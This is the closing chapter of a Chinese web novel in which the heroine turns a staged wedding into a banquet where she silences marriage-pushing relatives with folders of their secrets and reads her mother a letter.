‘能生二胎的时候怎么不再生一个啊?’, 而你愚昧地回:‘是啊,谁能想到呢。’。 你们以为不对着手机讲邢葵就听不见,可她完完整整地听见了,你们,你,否定了她的出生。” 就因为不结婚,活生生的人,在母亲嘴里成了练废的账号。 邢葵自小优秀,学生时代也不乏追求者,就因为不结婚,她被彻头彻尾否定。 “对你来说,你仅仅在回亲戚的话,说完就忘了,可邢葵为此几近泣血,所以她才心痛到拿她的人生开玩笑,向我提议合作。” 厉乘川极少说这么多话,但他当下只恨他说得还不够多,声音中涌着能将人凌迟的寒意。 自邢葵看过心理医生后,厉乘川想通了她为何偏偏遗忘他。 “车撞向她时,不仅你承担不了痛,她也无法承担,连日来,那晚的对话像刀子剐着她的心,像巨石压着她的背,她迫切地想忘掉它们。 是那些话促成她向我提议契约结婚,她忘记话,所以也忘记我。” 那些话是起因,厉乘川是结果。 邢葵有意忘却起因,起因没了,结果自然也没了。 本来,她只用忘掉“契约结婚”这茬事,不用忘记厉乘川整个人。 可她实在压力太大,厉乘川了解起因,会不会提醒她想起,在海一样席卷的繁芜情绪中,邢葵自我保护,将厉乘川从她的人生完全删除。 “你的女儿因为催婚出车祸,因为催婚失忆,眼下她要结婚了,你不该对你们催婚带给她的痛苦一无所知,还在房间里兴奋幻想她日后要生几个孩子。” 厉乘川面容冷硬,话音毫不隐藏戾气,邢母已然崩溃,泪水决堤,撒腿奔向门。 别墅,喝醉的周梨非要找男模,邢葵几个人一齐拽她都拽不动,反被她拖到门口。 “结婚就是放弃 一片森林!走,姐妹,我要带你去见见森林!” “好,森林在后面,往后退。” 邢葵温柔哄着,一辆出租车停在门口路灯下,邢母仓皇下车,她稍滞,谢成雯拍拍她的肩:“你去吧,这里我来处理。” “妈。”邢葵疾奔过去,拉开庭院铁门,邢母状态不对劲,门一开,几乎以倒的样子扑向她。 母亲两只手紧扣住她两边臂弯,路灯的光照着她的脸,满面泪水:“我的女儿,疼不疼?” 邢葵愣了一下,少顷回道:“还疼着。” “妈对不起你,妈不是故意害你,你是妈唯一的孩子……”邢母哽咽,抓着邢葵的手背绷出一条条筋。 “别说了。”邢葵喊停,“我不在乎你的道歉。” 路灯在夜空下明亮,小飞虫撞击灯泡,上演着飞蛾扑火。 从邢母扭曲记忆,就能看出她有多后悔,歉意说与不说,邢葵都一清二楚。 比起道歉,她更想要母亲从根本上蜕变,可邢母无法蜕变。 “妈晓得错了,妈会改。”邢母哭声沙哑。 “你永远不可能改。”邢葵挣脱掉母亲桎梏,平静地道,“妈,小时候你教我‘女子也能做男子做的事’,可后来你变了。 你身处的环境如此,个体极难对抗群体,过去的你被同化,今朝的你改不了。” 知晓车祸真相又如何?车祸没撞死邢葵,邢母待在那样的环境中,迟早还是会催她结婚。 “就像你相亲认识李正军,还没交往多久就被爷爷奶奶逼着嫁给他,得到一个出轨男,你到头来,依然逼我相亲。” “妈不是要害你。”邢母急切地解释,“你婶婶们介绍的男人,家里能清楚跟脚,以后要出了什么事,妈也好替你撑腰。” 所以邢母先前,劝邢葵再想想婚事,还提到要相亲招婿。 邢葵顿了顿,忽地扯起嘴角笑开:“原来你们知道另一半有可能靠不住,既然知道,为什么还一定要孩子结婚?” “大家都结婚的啊……” “时代不同了妈。”邢葵转身,别墅内,谢成雯等人还在和醉酒的周梨作斗争,欢声笑语,“你看她们,有丧偶的、假结婚的、离异的、正在被催婚的……她们每个人排除婚姻都过得也不错。 结婚是人生的一条路,却不是必经之路。我明白我说的你不一定能理解,没关系,妈,反正我明天就‘结婚’啦。” 邢母眼皮倏地跳了下,邢葵笑靥灿烂,一个长久在斗争的人,会乖乖妥协去真结婚吗? 月色溶溶,白昼明亮,五星级酒店名泉永乐今日只为邢葵服务。 门口放满鲜花,花圃最中心一束夸张大的玫瑰花束为针织,据说是新娘亲手所织——其实是江玉鸣织的。 宾客如云,乐音悠扬,酒店最高层,邢葵一身便服,对着镜子打量脸蛋,尚未换衣。 身后,房间门打开又关上,邢葵以为是江玉鸣,没在意,却在镜子里看见漆黑的西装,转过头:“厉乘川?” 厉乘川轻声地“嗯”,他今天和平时扮相差不多,在外人眼里,他是她的伴郎,但肩宽腿长帅气逼人,看上去有新郎之姿。 他的视线黏稠似墨,邢葵被瞧得脸颊发烫。 “我来是因为……”厉乘川一只手负在背后,他将其移到身前,那只手拿着一只向日葵针织盆栽。 邢葵面色微变,江玉鸣同她讲过,厉乘川拿到了她织的盆栽,得到它的人能向她许愿,厉乘川要许愿重新和她假结婚。 “我的愿望是——” 别说! “未来要快乐地经历每一次奇妙历险。” 邢葵出神,厉乘川黑瞳映着她,专注填满爱意,连眼尾弧度都溢着情愫。 她不知道昨晚不仅有周镜告知邢母车祸真相,还有厉乘川点明她完整的失忆缘由。 她要忘记的那些话,她不愿记得的那些话,厉乘川永远不会告诉她,永远不会伤害她。 “厉哥,对别人的新娘说这不好吧。”许野和周镜一同走来,破坏此时氛围,二人都西装笔挺,一精壮一清俊,都是今日的伴郎。 “说什么了?”他们后面,梁君赫强拽着江玉鸣走进,“先听我说!” 一时间,房间里站立五个高质量男性人类,全体西服西裤,个高腿长身材优越,养眼程度破表。 “婚礼之前新郎不能见新娘,你懂不懂。”江玉鸣被梁君赫拖进,笑着讥讽,“一看你就没办过婚礼。” 他跨到邢葵身侧坐下,长臂揽住她的肩,“老婆,我们不跟他一般见识。” 梁君赫捏拳:“可恶,虽然猜葵葵肯定不是真结婚,但江哥你实在惹火我了。” 江玉鸣偏过脸,带着撩人的笑与邢葵对视:“他还不死心。” “你死了我都不会死心。”梁君赫仰脸,深呼吸,马上就要到中午喜宴时辰,他不能将时间浪费在口舌之争。 看看左右众位兄弟,他对江玉鸣咧开嘴,露出尖尖的小虎牙。 “江哥,我最近心净开悟,是你和葵葵在一起也好,你贯有容人海量,倘若葵葵能乐意的话,想必你不介意我们兄弟日后也是兄弟吧。” 此兄弟非彼兄弟,而是大房和二房。 周镜在一旁听着,许野也提过类似建议,他很清楚邢葵不会出轨,不过,她要是不结婚、不恋爱,他们几个的确有共存可能性。 下下策,可假若只有这样能留在邢葵身边,下下策,周镜也行。 厉乘川想了想,觉得他也行。 梁君赫已然不管不顾,一会儿就是婚礼,他真怕万一他真会错过邢葵:“江哥,你平常忙着手术,不能时时刻刻陪伴葵葵,我们几个平日里也都忙碌,也不能时刻陪伴葵葵,依我看,不如我们拼一下。 这样,一周七天,我们五个一人一天,葵葵刚好上五休二。” 梁君赫! 服了他了,也是江玉鸣从前说什么一年有四季,一人一季之类的话,让梁君赫学到了。 邢葵无奈地看向江玉鸣,他勾起嘴角,将她半揽在怀里,一条腿搭上另一条腿,妖艳恣意。 “我拒绝,葵葵要让我当唯一的老公,我为什么要想不开和你们分享?” 行行行,也服了他了。 “葵葵,妒夫要不得。”梁君赫嫉妒地发言,“要不你干脆现在换个老公,就说是给亲戚们的惊喜,我大度,换我吧。” 许野揭穿:“不要骗葵葵,你最小心眼。” 邢葵小幅度地快速点头,见大家伙儿都盯向她,尴尬咳嗽:“你们要聊出去聊,我得换衣服了。” 她站起来,五人彼此对视,也向外走。 “那个,厉乘川。”邢葵叫住厉总,他不明就里但认真回望,她弯起亮晶晶的杏眼,“你许的愿,我答应了。” 未来每一次奇妙历险,都要快快乐乐。 婚宴现场,人山人海。 都知道邢老二如今有钱,知道这场婚礼彩礼十亿,邢葵家五湖四海哪怕仅仅沾了一点点关系的亲戚们皆数到来,甚至连邢母的广场舞伙伴们都全部到齐。 围绕着一张张圆桌,七嘴八舌叽叽喳喳。 一张桌子上说:“酒店住宿、来回接送,这得花了多少钱啊?” “天晓得,凉菜摆盘怎么能这么漂亮。” 另一张桌子上说:“十个亿彩礼真是疯狂,嫁得太好了吧。” “往后得让邢葵带我家孩子混混,听说她去年还拿了什么大奖。” 又一张桌子上说:“欸?新郎那边亲戚在哪儿?” “那一桌吧。” 讨论的人们互望,由于邢家亲戚多到他们自个儿也认不全,都以为对方是新郎亲戚。 邢母兄弟桌,光宗耀祖、国家栋梁三兄弟巴结着李正军,他们的老婆在一旁边笑边忍不住翻白眼。 三堂婶高红梅偷偷伸手,逮住桌面昂贵的香烟速度塞口袋,见大堂婶瞧见她:“给了五千礼金,我总得收点本回来。” 大堂婶理解,伸出一只手:“给我一包。” 四堂婶也从旁边伸出一手:“也给我一包。” 亲戚们给多少礼金会提前商量,像邢家作为和邢母血缘最近的家庭,一般给得多。但通常是一千,从前邢知乐婚礼,邢母就给的一千。 谁让邢葵情况不一般,一户户咬牙大出血,约定出五千,巴望日后能从邢葵钱包里成倍收回。 邢母也在旁边,有化妆师给她化了妆,搭配中式旗袍,她原本就底子好显年轻,一打扮更加漂亮。 四婶瞥了她一眼,今儿邢春霞都要得意坏了吧,演什么闷闷不乐。 “春霞啊,葵葵真是攀到了高枝,她现在工作也就挣个几百万吧,跟新郎家一点也比不了。” 啪!不待邢母生气,一只抹玫红色甲油的手拍到四婶面前,周梨另一只手抵着宿醉后沉重的头,仰着下巴看一桌人:“屁话,几百万你挣得到吗?” 她的身旁还跟着邢知乐李书知等人,昨晚派对结束后 几人一块儿睡在邢葵别墅,今天也一块儿过来。 “何况什么几百万,瞧见到处都是的赫拉索没?”周梨下巴指指婚宴装饰用的向日葵玩偶,令人震撼地道,“赫拉索一天比一天火,邢葵今年光靠赫拉索就要收入超十亿。” 十亿?她说什么?这是地球的语言吗? 四婶下巴都要惊掉,不仅是她,周梨嗓门大,附近桌旁的人皆数听到,一传十十传百百传千。 周梨捋了把她的短发:“无知。” 坐着的邢母颤了颤,原来,不知不觉,她的女儿已经发展到了超乎她想象的程度。 滚轮辘辘,大厅外,着黑色西装马甲和白衬衫的侍者们入场,推着多层推车,每一层都摞着文件夹。 每一份文件夹都贴着姓名,仿佛是专人专用的礼物。 侍者将文件夹分发,邢葵从门外走来,一袭色泽明媚的黄色长裙,身侧伴随穿白西装的江玉鸣,身后周镜四人。 “连我也有吗?”邢母的广场舞朋友桌,一人接过文件夹,惊喜,“春霞姑娘考虑得真周到。” 当然。 邢葵听到她的夸赞,面生微笑,在全体宾客瞩目中,一步步穿过酒桌,迈上最前方中央台面,站到麦克风前。 邢母跳广场舞的朋友,每回看到她,也爱让她别挑催她结婚。 餐桌旁,刘教授观察着侍者派发文件夹,却没她的,包括谢成雯等人也没文件夹,有种预感所谓婚礼非同寻常。 她和邢葵聊过不少天,人们在表达感叹等情绪时,爱用“天呐”、“老天”等词,邢葵也会用,但她最常用的却是:“妈妈”。 妈妈于她是港湾,她深爱母亲,会为了母亲让步成婚吗? 吉时已到,邢葵立于台上,一身明丽黄裙,凑近麦克风,抬眸,最高处庆贺新人花好月圆的横幅落下,露出全新横幅。 “欢迎各位来到,我的大难不死两周年,纪念宴会。” 江玉鸣和她相识的纪念日,也是她出车祸的纪念日啊。 邢葵扬起笑,全场哗然,江玉鸣勾唇,向后移步,卸下新郎身份,走进伴郎团。 今日,邢葵将上演她有生以来最大的奇妙历险。 厉乘川、周镜、许野、梁君赫四人脸上或多或少惊色,厉乘川伸手,将江玉鸣拉到他和周镜之间;周镜伸手,将江玉鸣拉到他和许野之间;许野伸手……梁君赫伸手,直接将江玉鸣拽到最末。 不是真结婚,也不是假结婚。 邢葵抬高大拇指和食指,捏了捏。 “抱歉,各位叔叔伯伯、阿姨婶婶、爷爷奶奶……邢葵特别希望能和你们一起庆祝今日,用了一丢丢小手段,想必你们不会介意吧?” 对吧。 “你们都是看着我长大的人,我能前进迄今,脱离不了你们的关心,我给你们每个人都准备了一封感谢信,就在文件夹里,欢迎阅览。” 在得知不是结婚后,众亲戚脸色都有变化,有被骗恼怒的,有想瞧邢老二家笑话的,闻听邢葵表达感谢,一个个都转为期待。 能让有钱的邢葵欠他们一个人情,谁不高兴呢?甚至期待文件夹里夹了钱。 然而,随着文件夹一份份打开,众人相继僵硬。 梁君赫好奇文件内容,歪过身去偷看,邢葵朋友那一桌,她的朋友们也好奇张望。 可他们的视线刚投过去,被看的亲戚就立马合上文件,惊慌失措,犹如里头是某种罪证。 邢葵站在高台,带笑的目光扫过一张张变黑变绿的脸,心知肚明,每一份文件都对应每一户人家的腌臜。 大堂叔邢光宗看到的是他曾经裸/聊被骗几十万的记录。 三堂叔邢耀祖看到镇上浴室涉嫌娼淫被警察查封的过去。 四堂叔邢国栋手上是他包养小三的证据。 其余的,还有家暴的、背地阴人的……家家有本难念的经,过去数月邢葵耗资千万,将他们各自的黑历史查了个底朝天。 昨日,邢葵去见刘教授,在心理咨询室跟教授说,备婚的这几个月她很开心,没人再说她“太挑了”、“被惯坏了”。 可是—— 他们会说她“终于懂事了”,会说她“终于开窍了”。 这不对。 她多年承受催婚折磨后结婚,凭什么他们用一种“他们赢了”、“他们是对的”的态度看待。 她可以假结婚再离婚,用自毁来阻止催婚,可看看邢知乐离婚后被如何骂吧,没犯错的人凭什么挨他们骂? 自江玉鸣向她提出假结婚后,她想到了更好的方法,邢葵看向自车祸以来遇到的人们。 周镜家庭,全员高知优秀,视男女平等,故养女周梨肩头毫无催婚压力。 许野家庭,母亲出身书香门第,以异性女流之身撑起金诺言,故其母能突破性地想到儿媳继承制,可她仍受董事会其他男性制约。 梁君赫家庭,重男轻女的典例,梁昭然竭力想获取梁父认可,最终却只能彻底夺走梁父权力,以抢的方式得到梁家继承权。 江玉鸣家庭,父母矛盾转嫁给孩子,江父固执偏激,若非被江玉鸣逮住爱攀比的软肋,他不能同意邢葵做儿媳。 回顾两年所见所闻,从四个家庭中,邢葵认识到,好像只有身边人都从根本上不催婚才能彻底杀死催婚。 她的亲戚们无法被从根本上被改变,就像梁父江父。 邢葵决定剑走偏锋。 她不要自毁,她像谢成雯一样受到制约,那就学习梁昭然夺走他们的权力,学习江玉鸣抓住他们的软肋,让他们闭嘴,让他们变成张不开嘴催婚的人。 她要拿捏全部亲戚,改变邢母身处的环境。 数个月来,江玉鸣在外故布疑阵备婚,邢葵则聘请侦探,去搜集她所有亲戚乃至父母朋友的把柄。 文件夹里没有威胁两个字,可宴会现场抓着文件夹的人们都感觉到威胁的刀架在脖颈。 他们极其要面子,每一个都将文件夹阖紧,每一个都在心中谩骂,可没一个敢吭声,不光彩的事,谁也不想放到明面上。 邢葵说今日是纪念宴会,更像行刑日。 众兄弟嗤笑,这些人畏惧丢失颜面,都在装收到的确是感谢信,想来日后私下再怎么骂都不敢闹到邢母面前。 同一时刻,下一楼层,江家亲友坐了几桌,江父正红光满面地在和梁父斗嘴,炫耀他儿子的胜利。 有人要去门外打电话,发现楼层的门竟已锁上,这时,前方高台的大屏幕亮起。 江玉鸣提前录好的录像播放,他笑眯眯招手:“嗨~嗨~今天我不结婚,就是找个理由请大家吃个饭,大家愉快,拜拜~” 江父失控大吼:“江玉鸣!” 楼上,邢葵对着话筒笑:“家人们,读完我的感谢信你们怎么了?不好意思吗?我讲个故事热热场吧。 小的时候,老师会在课堂上让我们自我介绍,介绍名字、介绍名字的含义……我说我叫邢葵,向日葵的葵,但其实,我在我妈肚子里那会儿不叫邢葵,叫邢魁,魁梧的魁……” 邢母低头,老眼盯着她的文件夹,泪水一颗颗往下落。 她的文件夹里真是一封信,一封手写信。 【亲爱的妈妈: 有许多话想对您说,提起笔却不知从哪里写起。 您曾告诉我,您当年希望肚子里的孩子是个男娃,这样他不用吃和您相似的苦。 然后我出生了,您将原本想好的给儿子的名字,魁梧的魁,改成向日葵的葵,盼望我一生乐观无忧。 没有您儿时的教育,没有您多年的抚育,没有今时的我。 有人说,所有逃不开父母催婚压力的人,都是自个儿经济上不独立,有些绝对了,我想,至少我不是那样的。 人心柔软,我早就经济独立,我爱您,舍不得伤您,才会被您伤害。 但我也得爱护自己啊,很抱歉,我无法如您所愿,将嫁人生子视作人生必要任务。 陈旧的思想渗透您的骨血,我明白,您催婚,是真觉得结婚对我好,可我更明白,人不该将 就。 我不强求您与我共鸣,您和李正军,在我成长过程中付出的金钱,这些年我还完了,至于您的爱,我想,不需要女婿,我一个人也能为您养老。 相信我一次呗,o(≧▽≦*)o!】 “我不能理解。”高台上,邢葵歪歪头,“为什么男孩子才能用‘魁’字,是女孩子就得换成‘葵’,我就不能魁梧吗?” 侍者端来茶水盘,邢葵走到台边,取了一杯甜葡萄汁。 “幸好如今的我发展得不错,我能站在这里,有底气地说一句,纵使是向日葵的葵,纵使是女子,也能成为有力的顶梁柱,大家没意见吧?” 她喝了一口果汁,举杯,畅意地向噤若寒蝉的台下敬酒。 “祝我未来百无禁忌,从心所欲。” 厉乘川五人也从侍者那里取过一杯酒。 “祝葵葵未来百无禁忌,从心所欲。” 邢葵自在地呼吸,呼吸她追寻多年的自由,黄裙飘曳,眉眼间尽是快意。 怪不得她瞒着厉乘川他们,今天的婚礼仅仅是个将她亲戚们聚齐的由头,新郎谁当都行! 让江玉鸣占了几个月未婚夫身份的便宜,众人瞪向江玉鸣,他老神在在,品酒:“我周一。” 此前梁君赫提议,五个人,邢葵刚好能上五休二。 厉乘川冷着一张脸疾速道:“我周二。” 周镜平静地随在其后:“我周三。” 许野刚要跟,梁君赫抢着道:“我周五!”周五连着周六周日,嘿嘿。 休想!江玉鸣警觉:“我周五。” 厉乘川:“我周五。” 周镜:“我周五。” 许野:“我周五!” 正文完。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m